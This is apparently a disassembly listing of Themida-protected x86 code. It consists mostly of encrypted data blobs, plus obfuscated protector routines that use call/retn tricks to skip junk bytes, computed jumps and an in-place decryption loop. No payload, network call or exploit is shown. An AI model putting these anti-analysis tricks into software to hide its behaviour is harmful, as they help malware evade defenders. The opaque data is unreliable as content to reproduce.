		dd 625CBE19h, 7, 1B6C4F8h, 0B96A0000h, 0DBABB6DFh, 0A5E889FCh
		dd 4169168Eh, 0D7945CF0h, 0B4B855B6h, 22B9240Ah, 0ED20BFC7h
		dd 60D0EA54h, 0AF933055h, 44A32D1Dh, 268501E8h,	0BAEA88B7h
		dd 3390F55Ah, 9DD0BE0Fh, 4EB65A41h, 0CCEA8B0Ah,	0CA3B53E6h
		dd 4EB65A50h, 0E095F419h, 0C43BB87Ch, 60C702A9h, 0C6000005h
		dd 0DA00DE78h, 0C2E8C688h, 0DCFEDC6Eh, 0C3E5C58Bh, 0CD00DE76h
		dd 98BC0962h, 8AC8183Ah, 97B1062Ch, 8CC01137h, 0CB3A252Eh
		dd 16B6984Fh, 0BD5D0118h, 7251E06Ch, 0B4A62055h, 2E6F109Dh
		dd 374F9AA6h, 94886598h, 8C11168Eh, 93B90C2Eh, 0FF28CDEh
		dd 0CB06A580h, 507h, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh
		dd 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h
		dd 0A13416B4h, 213E0BABh, 0B69872ECh, 7CE63B16h, 51E06CBDh
		dd 90FC5072h, 9DB5015Dh, 2A4BCA10h, 0E0F2FA1Bh,	0A86EFF4Dh
		dd 50E1912Ah, 0B686DEFCh, 1EA341E6h, 3Bh, 4BE0C244h, 0A2C7F3FDh
		dd 0F96C7E4h, 30168EACh, 7CF1CEEDh, 0A8A9522h, 0FC4B0556h
		dd 61904F99h, 0A8A94E1h, 0F3DCE38h, 5AAD0A41h, 7BE9h, 40E5CA00h
		dd 5D35D8B1h, 0A389539Dh, 0CCEBC8BEh, 9DB53D99h, 23870610h
		dd 2936BE96h, 8EFBE1B4h, 5C7B9A16h, 4D6AE476h, 26B6D565h
		dd 9DFC1D2Ch, 55834DCCh, 0D8D34F78h, 31E29545h,	1EF958A7h
		dd 0A4350A8Ah, 22D0AA8h, 36C9394Bh, 0CE3F9CFCh,	0A8A1654h
		dd 0DEF0F81Dh, 1433024Ch, 8AF992Eh, 40CB8A49h, 0F4A922Bh
		dd 413h, 0D9B90A30h, 8A5B2AA4h,	0F392F30Ah, 3F992362h
		dd 0EBC8BEA3h, 8EAFAF7Ah, 24355816h, 8EFF8F22h,	0A8A9A14h
		dd 88D9B8DDh, 51BFE8D7h, 0D771C6FFh, 590481F0h,	0B484F58Fh
		dd 8BFAD9ADh, 107B8B9Eh, 0A4293B7h, 0C3E025C2h,	0D6FD4DDFh
		dd 0EA82864h, 0CE0CD457h, 0C123C6F1h, 1227CF1h,	0AAEB0477h
		dd 0E48FE605h, 0E567FADCh, 86507754h, 23496D3h,	0FFEA569Eh
		dd 0DFFF2887h, 0FF36318Fh, 0C63724ACh, 0A684253h, 96B8890Ch
		dd 0BD194C44h, 86FE643Bh, 0F3D76607h, 95AEB63h,	0AF05F089h
		dd 371BCC3Dh, 2E20A8A8h, 3411B19Bh, 40B4D40Bh, 0BDE150E9h
		dd 3455E470h, 2D5990ACh, 0BF4AA98Eh, 83D27ECDh,	2C3C9D02h
		dd 3215428Ah, 9A66E015h, 0EE2FFE64h, 869AA7E6h,	2830455h
		dd 8EBE0F33h, 94B80931h, 0ED7C44C5h, 0C73658E9h, 0F851864Bh
		dd 0C190F114h, 10212D7Dh, 0CF992FCh, 0F3C536B8h, 0CA3B98EEh
		dd 0FE4272BFh, 644665A8h, 63717BD1h, 0D160EC3Dh, 65F460EDh
		dd 570B80F2h, 28684606h, 0F7664541h, 0F82F60A2h, 272B3A5Bh
		dd 0B1A7B696h, 0E3FECA3Fh, 7CD104A3h, 0A5F21C4Ah, 0CE3B427Ah
		dd 59632067h, 0C29890Ch, 7560BA2Bh, 6499E618h, 0E61874EAh
		dd 800552B3h, 89C31638h, 94396B8h, 12746DA9h, 62E540B5h
		dd 2F6EEC09h, 5F6FEF1Eh, 4CC6E005h, 4CCF8DAFh, 3D776C26h
		dd 0CB000000h, 0EBC8BEA3h, 8E989B7Ah, 0D2666C16h, 192824B5h
		dd 0DBF899F8h, 58E969F7h, 0C130AF39h, 0A8A8941h, 2ADD6E98h
		dd 0C697B508h, 7445A481h, 99F87BDAh, 7BC9874Fh,	0D9715AADh
		dd 0C5000000h, 8D1D6CBDh, 701170C1h, 0C8BDE2E1h, 0A925584Dh
		dd 72109DF7h, 59C2AC13h, 3786C810h, 0B70A4C1Dh,	2F82C495h
		dd 0BFA0BD1Dh, 9EABD44Eh, 95B30810h, 97F645C4h,	0A8D9BE4Dh
		dd 9021109Eh, 0A93C1EBCh, 4B9692A3h, 0FC699C3Bh, 0A5168F78h
		dd 0CC5F4360h, 56E9ED7Ch, 432263F2h, 0EE7FCF5Fh, 0F73725AFh
		dd 0C63794F2h, 1075E02Ch, 0CFF3D035h, 0CEF4D282h, 6CE6177Fh
		dd 350475CDh, 74BCB1D0h, 7979FB2Bh, 1D597B2h, 5510000h
		dd 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h
		dd 0BF1F3584h, 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h
		dd 9D16B69Ah, 0E5C2DA84h, 5A717BAh, 9CCD1511h, 109E3142h
		dd 0B82D8A0Bh, 109E315Eh, 0FCDEE627h, 0E1C7E76Dh, 84DEFC50h
		dd 0EBC8BEA3h, 8E989B7Ah, 0D4666C16h, 0CBAAEB7Ah, 888B0B7Ah
		dd 0A8E20A8Ah, 3E2BE913h, 0CF935AADh, 0A7000000h
		dd 197CDDC2h, 8C7F4E84h, 8DBF1244h, 94B9ABCh, 93C2C938h
		dd 2B0F109Eh, 292BB59Dh, 0B87F698h, 0D4109E93h,	0D0F2D0B1h
		dd 617ECF7Dh, 0B2404E76h, 0AC34A692h, 8E2D5990h, 35F8EB1h
		dd 0CC109E6Fh, 95007F49h, 3E168F3Fh, 3EBFDE19h,	0ADCC2A12h
		dd 0B3992C0Eh, 7B5963A2h, 4360263Bh, 4CC1CF5Fh,	0A8B97D2h
		dd 4A1B7A9Bh, 0F757E7CBh, 0A07DF0EDh, 691075F5h, 16A38724h
		dd 2BBAA03Eh, 4FA63429h, 10D779FBh, 0D635h, 54025000h
		dd 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h, 83E84776h
		dd 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h, 9BD14DC0h
		dd 879A16B6h, 51E0C2DBh, 9D33203h, 0FCDA7AC7h, 0E9C983D6h
		dd 0F953E6CCh, 6CBD65EFh, 0DC6D51E0h, 1745370h,	109DB485h
		dd 0D6E8CF4Eh, 0AE23669h, 0BAF6E4ECh, 85F8D7AFh, 16853007h
		dd 0AB595B44h, 2010BEC3h, 7BCA4B98h, 68460657h,	7E5DEF42h
		dd 0C4B22C61h, 1A7B0A83h, 133413D2h, 83C568E2h,	0CFEC310Ah
		dd 83C5449Eh, 40880D0Ah, 2609F2C1h, 0A2175B55h,	0CFEF5DF0h
		dd 0D7F458E9h, 0BD414AF0h, 0BDF9DE6Ah, 489721A5h, 3C9BB506h
		dd 0B889C316h, 0FCD08F59h, 0F849F992h, 1547654h, 0F2466C4Bh
		dd 0F4D19058h, 3, 0BDE17B5Ah, 7254E571h, 0FADC6DDFh, 7052E365h
		dd 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h,	0BC9EAF9Bh
		dd 2215242Ah, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 85682434h, 8900006Ch, 0DD68242Ch, 89000011h,	0EABD2414h
		dd 56342C71h, 1393F7BEh, 5EF5292Eh, 0D8368h, 24248900h
		dd 4240483h, 8B8505Ah, 2D000000h, 3C7B522Dh, 2D05D001h
		dd 893C7B52h, 148B5828h, 0E0895024h, 405h, 40500h, 4870000h
		dd 34FF5C24h, 0C4815D24h, 4, 0FA985BE9h, 0D0F20DFFh, 16EC3974h
		db 0F6h, 11h, 0CEh
; ---------------------------------------------------------------------------


loc_5DABDB:				; CODE XREF: Themida_:005DA068j
		mov	eax, 618E88Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	al, ds:9E008413h
		xchg	ecx, esi
		db	3Eh
		xchg	eax, ebp
		mov	byte ptr [ecx+edi-47h],	61h
		mov	eax, 2A589C52h
		cmp	[ebp+18EA168Dh], ecx
		push	es
		mov	edi, [ebp+6133181h]
		mov	[ebp+6131BBDh],	ecx
		push	0
		push	ebx
		call	sub_5DAC15
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAC15	proc near		; CODE XREF: Themida_:005DAC0Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5DAC15	endp

; ---------------------------------------------------------------------------
		db 0EDh, 0FFh, 97h
; ---------------------------------------------------------------------------
		adc	[ebp+79h], edi
		pop	esp
		mov	eax, [ebp+61328C1h]
		mov	dword ptr [ebp+61318DDh], 72F0h
		push	0
		push	edx
		call	sub_5DAC47
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAC47	proc near		; CODE XREF: Themida_:005DAC3Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5DAC47	endp

; ---------------------------------------------------------------------------
		or	cl, [edi-2B10C1B9h]
		jle	loc_5DAC67
		mov	di, 4BD7h


loc_5DAC67:				; CODE XREF: Themida_:005DAC5Dj
		mov	dword ptr [ebp+6133055h], 0
		push	0
		push	edx
		call	sub_5DAC7C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAC7C	proc near		; CODE XREF: Themida_:005DAC74p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5DAC7C	endp

; ---------------------------------------------------------------------------
		push	esi
		dec	esp
		sbb	ax, 9157h
		push	dword ptr [ebp+6131B65h]
		mov	ax, 937Eh
		call	dword ptr [ebp+6131D89h]
		push	0
		push	ebp
		call	sub_5DACAE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DACAE	proc near		; CODE XREF: Themida_:005DACA6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5DACAE	endp

; ---------------------------------------------------------------------------
		dw 1EA6h
		dd 0D917DE4Dh, 0E92316B3h, 0Dh,	0D772FDDh, 0AD8936A4h
		dd 6A0C2474h, 0FF006A5Dh, 130DA995h, 0EBC08B06h, 5D8A2049h
		dd 9D7C59F8h, 0BD305FA2h, 869FD9BBh, 0E5C09FC3h, 81047C6Ah
		dd 0A622E3E0h, 0E92DE624h, 7FBC4B97h, 2E1905DFh, 0C60B6867h
		dd 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h, 75743C53h
		dd 0EFF6FC5Bh, 1DAAC45Ch, 20E947FFh, 35000000h,	5238F0h
		dd 6 dup(0)
		dd 0E9000000h, 58Ch, 7757FF4Bh,	6D4D0151h, 7151F94Bh, 7250004Fh
		dd 73530150h, 2F7EEF40h, 15A38525h, 28BB9D3Dh, 0DA08220h
		dd 8DD29F3Fh, 0B69EFE58h, 6D52C716h, 0E6C42A42h, 0EAF23CE8h
		dd 4FE0C270h, 4495B701h, 0C8153908h, 0B90C2E8Ch, 2D80C293h
		dd 0BA0C4E1Fh, 0E012C594h, 6026B76Bh, 0FF179B05h, 8A6C716h
		dd 0D6B10327h, 1EA6C781h, 2A1A73Ch, 0BAAD521Dh,	6A721960h
		dd 91F1466Ch, 527B1B8Dh, 54E584F4h, 5370E272h, 0DE6FDF6Fh
		dd 71ED20BFh, 3A109DD2h, 7E5211DBh, 78CB7714h, 7DD0F2D0h
		dd 8E0F7ECFh, 7109DD1h,	0EB5DF2D8h, 0D23D99CCh,	8706109Dh
		dd 1636D33Dh, 0A341F746h, 97EEh, 6CBD5400h, 507251E0h
		dd 0FA895301h, 109DB49Eh, 72E3C413h, 109DB518h,	0EE1FBCE1h
		dd 109DB574h, 7610D83Dh, 0EA19D705h, 1C1A341h, 95000000h
		dd 50E16DBDh, 5572DC6Eh, 52005072h, 77D38203h, 40109DB5h
		dd 725413DDh, 6A506FE1h, 65F9ADD5h, 0A4922A1Fh,	0FB6CFBC5h
		dd 6D550277h, 0BFDE6FDBh, 0F8932335h, 6F54E563h, 30B6D662h
		dd 0D4FB9AC1h, 5373E399h, 0B51273CDh, 42133F8Dh, 252DFC3h
		dd 0CC0AD233h, 0D979C7EBh, 8DBF0988h, 50FC4D3Ch, 891E8001h
		dd 6200DEBFh, 55E470BDh, 0DC6DE171h, 55E466FAh,	0E170E471h
		dd 0AB57F4DEh, 0E627361Eh, 58F15F87h, 9A391BAAh, 8A2927B8h
		dd 9DB4FF5Bh, 7B45C810h, 62EA7B5Dh, 0C0CA5D45h,	9DB4D14Dh
		dd 1A7B9A10h, 9D2F13D2h, 0D179CBEFh, 9DB526A0h,	0CFAEEF10h
		dd 7F5CC7F0h, 8DDC74C3h, 0A701A70Ch, 0C998B206h, 409F2948h
		dd 0C9183A19h, 3095BA8Bh, 23ADE8A3h, 28C5435h, 95856389h
		dd 702DA341h, 11000000h, 1670E5C2h, 0DF109DB5h,	952436BEh
		dd 18ACAEBFh, 42B02332h, 88CC19C9h, 9BB9082Ah, 193788CAh
		dd 54E52148h, 0F55184A3h, 29109DB4h, 60A5B296h,	0E8200058h
		dd 0E5C2A341h, 0A01E74BAh, 0BEAF9B17h, 109EAB64h, 0AAEE689Dh
		dd 56B7109Eh, 0DA6EC109h, 616B0A8Bh, 323Ah, 70BD2000h
		dd 0DE7155E4h, 0D2654D6Ah, 0DCFF6E76h, 408D45B6h, 0BD1CB614h
		dd 2150E16Dh, 109DB4A0h, 54E4C619h, 1F9CF6FEh, 41EA3FFDh
		dd 1A7A3h, 0BDBB0000h, 4C8EDF6Bh, 0CE0253F9h, 0E97B27A4h
		dd 1C454161h, 0D2654D6Ah, 55E3E776h, 4C2D6CFDh,	52785784h
		dd 9BFA4BFDh, 0B1E3B251h, 7194168Eh, 14BDEE0h, 5B2E7FA1h
		dd 93F2430Bh, 9DAC9C2Fh, 0F4C1D7Ch, 64F39E2Bh, 5D3C5DECh
		dd 0C4438D0Ch, 0A8AB048h, 0CF781181h, 0B0217DF0h, 0ABEA0A8Ah
		dd 0AE9E2F21h, 0B5972A10h, 3D0FA2A4h, 4FEC662Ch, 9C3A12A3h
		dd 0AD117040h, 14FD85Ah, 0C27E0000h, 0B51670E5h, 0BEDF109Dh
		dd 0A7DF0A36h, 0BC8E2208h, 73B62734h, 0C168EBCh, 4396B889h
		dd 3687A909h, 22084716h, 4E70C193h, 9FFE4FF9h, 51E4F6FEh
		dd 0D3686AFBh, 4FE2E475h, 77FB6CFDh, 73A44D02h,	0EBFBDB6Ch
		dd 55E6648Ah, 0FBA37DA2h, 15D7B169h, 1D2C20B1h,	4FE2F4FCh
		dd 0B785DDFDh, 1F5AADD3h, 59h, 51DDC243h, 1979B7E2h, 45B5761h
		dd 5C7E617Eh, 96F7460Ch, 7F43BF4Eh, 0B4C6F62h, 9DE880DAh
		dd 291FB490h, 86D7FB1Ah, 6796A7C6h, 909DE7EBh, 420683EDh
		dd 0F46E9F25h, 0BD909DE7h, 6BE57658h, 0FDDABBDAh, 627EEE88h
		dd 0F64367EFh, 468E0F5Eh, 6B4664A9h, 91h, 4BE0C2C7h, 0C8A9AB3Ah
		dd 6AFB55E6h, 4C95A12Bh, 0D766E677h, 85F8D7B6h,	168EA178h
		dd 2E2D3C61h, 11C40E09h, 5DBC8DC1h, 88B43E76h, 0A9B89226h
		dd 0DB6E6068h, 0DE6F5171h, 2DAEDF6Eh, 6E0A8A92h, 0AA3BE764h
		dd 8F1D05A2h, 0DBDBF9C3h, 32A30086h, 10723B3Bh,	183286ACh
		dd 6300C849h, 9E2F1322h, 94C99FAEh, 4C85C0ABh, 7B452895h
		dd 0B9B07811h, 10C9EECDh, 2FDF095h, 0F1CE0BD5h,	89D87CC9h
		dd 3657F345h, 0C50F4594h, 58792F46h, 0CDED300Ah, 0C8BEA373h
		dd 3EE3CCEBh, 2847DA19h, 0BBB2519Bh, 2C168614h,	8600B03h
		dd 9F3097B5h, 40AD3791h, 6B4F8CDDh, 686A72DAh, 291FB4D5h
		dd 3A98F918h, 91DC321Dh, 6D246538h, 6CE07163h, 6CDCACDDh
		dd 28BC3EA5h, 0A12F1322h, 0E26A36EBh, 4D2C73AAh, 92276BFCh
		dd 8BAF90A3h, 3FC9133Bh, 87C518CAh, 9CB00127h, 503A89CDh
		dd 942AEADAh, 6CCA80C2h, 869A9B00h, 0E8FC4D2Ch,	0CC5D15A6h
		dd 0AD002280h, 0A991CE9Fh, 0E2233216h, 11FFDAh,	0F7E00000h
		dd 38749190h, 0C981D30Ch, 70781978h, 0BDE17BE6h, 7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h,	4C7h, 4BE5600h
		dd 29000000h, 3C875EF7h, 89525C24h, 4C281E2h, 83000000h
		dd 148704EAh, 1C895C24h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 243C895Ch, 18EA8E68h, 241C8B06h, 4C481h
		dd 0EC830000h, 24248904h, 4240483h, 3481535Fh, 36100B24h
		dd 8478F37h, 100BBE56h,	77313736h, 3C8B5E08h, 0E0895024h
		dd 405h, 40500h, 4870000h, 1C8B5C24h, 0E2895224h, 4C281h
		dd 0C2830000h, 24148704h, 9156E95Ch, 0EDD7FFFAh, 0DA3D931Ah
		dd 4D1D4049h, 0E757545Bh, 18EF76B8h, 0FFC50306h, 6F1FCDE0h
		dd 37F27206h, 0ADAEE17Eh, 795F6351h, 923DBF64h,	1843553Fh
		dd 0A4203865h, 99B55425h, 0A8E75233h, 38A04F5Ch, 0D8408607h
		dd 0EDF8F317h, 0D380B209h, 0AD313E17h, 0EF1F2C63h, 0A69B24h
		dd 0E5D8F26Ch, 28D11E2Dh, 0B432E105h, 366B5749h, 0A34EA63h
		dd 0DF2450Fh, 93E60E44h, 1E6BC877h, 4ACE5F4Bh, 48F00676h
		dd 0FAD65D46h, 3F6C5C11h, 0B31FD24Ah, 637A1534h, 11E863h
		dd 3DEB0000h, 0BE217022h, 0C3E95150h, 451C26E8h, 0FDE0BC0h
		dd 28Ch, 58CF8B00h, 81DABF0Fh, 5AE0C0h,	2719BF00h, 0F781131Bh
		dd 131B3180h, 0B1308BFCh, 64EE819Ch, 8174477Ah,	52A5E6DAh
		dd 19C6810Ch, 0E84C46FCh, 7, 52260626h,	0F542239h, 84h
		dd 0C6815900h, 74994BAFh, 0CFF38166h, 0BF0F56FCh, 66008FD6h
		dd 24F5CB81h, 6603E883h, 4892A0BAh, 850F4FFCh, 0FFFFFFB1h
		dd 8D8DD78Bh, 618F19Fh,	89F7BF0Fh, 131BBD8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 2DE624A6h, 0DD85C7E9h, 8C061318h, 66000059h,	85C7D98Bh
		dd 6133055h, 0
; ---------------------------------------------------------------------------
		add	[ebp+61306BDh],	esi
		push	dword ptr [ebp+61320B9h]
		jmp	loc_5DB447
; ---------------------------------------------------------------------------
		stc
		leave
		jbe	short loc_5DB491
		inc	edi
		xchg	eax, ebp


loc_5DB447:				; CODE XREF: Themida_:005DB43Cj
		call	dword ptr [ebp+6131D89h]
		jmp	loc_5DB462
; ---------------------------------------------------------------------------
		dw 7ABEh
		dd 0AEDBA021h, 77F1C840h, 0F670412Fh
		db 0FBh, 0A1h
; ---------------------------------------------------------------------------


loc_5DB462:				; CODE XREF: Themida_:005DB44Dj
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_5DB49D
; ---------------------------------------------------------------------------
		dw 2D59h
		dd 1ADF0E52h, 0C7587ADh, 629A0D65h, 69A6111Eh, 91AAD0C8h
		dd 0DE5B9F44h, 32FF62D5h, 0AFF27224h
		db 3
; ---------------------------------------------------------------------------


loc_5DB491:				; CODE XREF: Themida_:005DB443j
		enter	0FFFFE2BAh, 0Dh
		loope	loc_5DB4FB
		xor	edi, [ebp+53h]
		push	ecx
		stosb
; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------


loc_5DB49D:				; CODE XREF: Themida_:005DB46Cj
		call	loc_5DB4A7
; ---------------------------------------------------------------------------
		dw 0BA29h
		db 49h,	60h, 8
; ---------------------------------------------------------------------------


loc_5DB4A7:				; CODE XREF: Themida_:loc_5DB49Dj
		jnz	loc_5DB4B6
		jl	loc_5DB4B6
		movsx	edx, cx


loc_5DB4B6:				; CODE XREF: Themida_:loc_5DB4A7j
					; Themida_:005DB4ADj
		pop	ebx
		add	ebx, 6FDEh
		mov	dl, 0FCh
		mov	edi, 0
		sbb	edx, 2D186859h


loc_5DB4CA:				; CODE XREF: Themida_:005DB571j
		mov	ecx, [ebx+edi]
		push	edx
		jno	loc_5DB4D5
		stc


loc_5DB4D5:				; CODE XREF: Themida_:005DB4CEj
		pop	esi
		add	ecx, 13FBB23Eh
		push	esi
		jmp	loc_5DB4EB
; ---------------------------------------------------------------------------
		dw 0CFFBh
		dd 1995FE47h
		db 9Eh,	0ECh, 2Dh
; ---------------------------------------------------------------------------


loc_5DB4EB:				; CODE XREF: Themida_:005DB4DDj
		pop	esi
		add	ecx, 4990231h
		call	sub_5DB507
		add	bh, [ebx+2Fh]
		inc	ebp


loc_5DB4FB:				; CODE XREF: Themida_:005DB495j
		xor	[eax], esi
		jg	short near ptr loc_5DB521+1
		in	al, 0D7h
		test	[edx], esi
		cmp	byte ptr [edx+1Dh], 4Fh

; =============== S U B	R O U T	I N E =======================================



sub_5DB507	proc near		; CODE XREF: Themida_:005DB4F2p
		and	esi, [ebp+6130D05h]
		pop	eax
		xor	ecx, 8BCF7DBh
		pusha
		call	near ptr loc_5DB521+3
		sbb	eax, edi
		push	0A0239B6Bh


loc_5DB521:				; CODE XREF: Themida_:005DB4FDj
					; sub_5DB507+Ep
		or	eax, 0B50369A7h
sub_5DB507	endp ; sp-analysis failed

		mov	ch, 0
		adc	eax, [esi]
		pop	eax
		stc
		popa
		push	ecx
		mov	[ebp+613221Dh],	edx
		pop	dword ptr [ebx+edi]
		mov	dx, cx
		sub	[ebp+613211Dh],	esi
		sub	edi, 1FA2C413h
		movzx	eax, di
		add	edi, 1FA2C40Fh
		mov	ax, cx
		cmp	edi, 0FFFF9104h
		jnz	loc_5DB56E
		stc
		jmp	loc_5DB588
; ---------------------------------------------------------------------------
		fdiv	qword ptr [ebp+edx*8+30h]
		adc	ebx, ebp
		fmul	dword ptr [edx+4Eh]
		pop	esi


loc_5DB56E:				; CODE XREF: Themida_:005DB558j
		movsx	esi, cx
		jmp	loc_5DB4CA
; ---------------------------------------------------------------------------
		cmp	eax, 917793D4h
		movzx	edx, word ptr [ebp+40h]
		sub	[edx], edi
		sbb	eax, [edx+2EB42709h]
		push	esp


loc_5DB588:				; CODE XREF: Themida_:005DB55Fj
		jmp	loc_5DB66E
; ---------------------------------------------------------------------------
		db 35h,	84h, 0D9h
		dd 459CD706h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 0Ah dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DB66E:				; CODE XREF: Themida_:loc_5DB588j
		jmp	loc_5DCB86
; ---------------------------------------------------------------------------
		push	618F5E6h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618F6ECh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618F7FBh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618F95Ah
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618F9BAh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FA7Fh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FB37h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FBE6h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FCADh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FDB7h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FE9Eh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618FFE0h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61900C8h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61901EDh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6190378h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6190529h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6190624h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 10h,	0C2h, 94h
		dd 8CC21436h, 92B80C2Eh, 93BD0E34h, 94C00D33h, 0C3280736h
		dd 0DA00DE76h, 0C8EAC88Ah, 0D3F5D573h, 0DFECCA82h, 0A9118D00h
		dd 0C7DA16B6h, 51E0C29Bh, 4697B903h, 6E9FF543h,	109DB4F4h
		dd 583958BDh, 4A0A577Bh, 4EDFE382h, 89E0E0FEh, 8C01DEFDh
		dd 109DB512h, 737DF4DBh, 3FC59797h, 1449965Eh, 168F2DD9h
		dd 0E3122362h, 0A8B2A63h, 2E3F0F9Fh, 0FB3992Ch,	0D5BD8CBCh
		dd 0ED7BE3Bh, 335AE9D1h, 7E9FAEA6h, 0B70C4E1Fh,	2041C091h
		dd 0AFDD6E98h, 5AAC93E1h, 6149h, 0BEA3ED00h, 0D48D3802h
		dd 0DB0A470Ah, 109E0F7Fh, 0FFA4C548h, 36D1683Fh, 0EECDAC79h
		dd 8F809E7Fh, 912E6F16h, 70E33FAEh, 8D140A8Bh, 5351874Bh
		dd 21ABEA79h, 0A9D85C2h, 0E6EE2F3Eh, 8B7E27A7h,	7ED6630Ah
		dd 0F55DEBEFh, 97349E64h, 123827AEh, 5EBF8EC0h,	5D7FFC96h
		dd 5AAC239Fh, 0E647h, 6CBD1B00h, 0E06D51E0h, 1B2A1EB1h
		dd 88CA9BFAh, 97B81735h, 9DB4EC66h, 0C3912010h,	18C71174h
		dd 53E6A336h, 0D46668F9h, 5C7A1B7Ah, 7DBC547Bh,	9450E54h
		dd 44C594B8h, 0FB578625h, 0C4109E3Ch, 74087741h, 0E1109E38h
		dd 38138FFEh, 0B9DC109Eh, 0C08C1D2Fh, 4CA1BCE3h, 4B70DA6Eh
		dd 0E3ED67DDh, 0CA82D3F5h, 0A4243D7Bh, 9DD9D531h, 1E7F9E10h
		dd 0DF494CC1h, 0E322168Eh, 0E89EC3C3h, 35B79ACBh, 0D901075h
		dd 173D8CAEh, 104491B7h, 0FA571D5Dh, 0C29F4E79h, 11F7h
		dd 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h, 9B3B19A8h
		dd 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h, 557A4767h
		dd 0B6A9A620h, 83A6F16h, 0C7E470BDh, 0CC5FCE0h,	0B4088BFBh
		dd 0EFEDF796h, 0C31178C9h, 0E9D1EE8Fh, 2869F85Ch, 0A318B2A0h
		dd 0CCEBC8BEh, 0D7FB55E6h, 8DFCC484h, 168E988Ch, 0FA56E5CDh
		dd 45A22A6Bh, 91C4E3C0h, 0A8A8935h, 0C68CDCFEh,	3FCE1DA7h
		dd 0A8A88DFh, 0B081C91Bh, 0FD523F8Eh, 0FA9BFA4Bh, 0D16A686Bh
		dd 3E36CA1Eh, 0B8D97DFDh, 3864D531h, 5AADA578h,	0A7A5381Ah
		dd 569EB603h, 0A8CFh, 6CBD7300h, 0E06D51E0h, 2094E574h
		dd 88109DB1h, 91B71735h, 0FF3D0C40h, 0C589D9EAh, 57741574h
		dd 8EB52326h, 3999FC16h, 5A2E4FDh, 7500DED0h, 19B6D710h
		dd 83F2A431h, 474FC07h,	0DC694DD0h, 98BA1978h, 0D7360745h
		dd 0CCEECF0Dh, 0CA0CD47Ah, 60A4D97Bh, 7D79FA30h, 10F1F3EEh
		dd 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh, 17A68C2Ah
		dd 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h, 5171DB6Eh
		dd 0BC164788h, 8516B6AAh, 70BD320Ch, 54E3C7E4h,	0C9E6F4FCh
		dd 0CF3E50E1h, 109DB553h, 5098F91Ch, 1A1ABFEh, 4BE0C2A7h
		dd 50E1F3FDh, 0D8696DFCh, 0E5735774h, 33BDDC6Dh, 99B10325h
